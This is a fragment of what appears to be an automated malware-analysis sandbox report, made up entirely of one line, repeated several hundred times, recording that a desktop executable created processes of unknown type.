Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
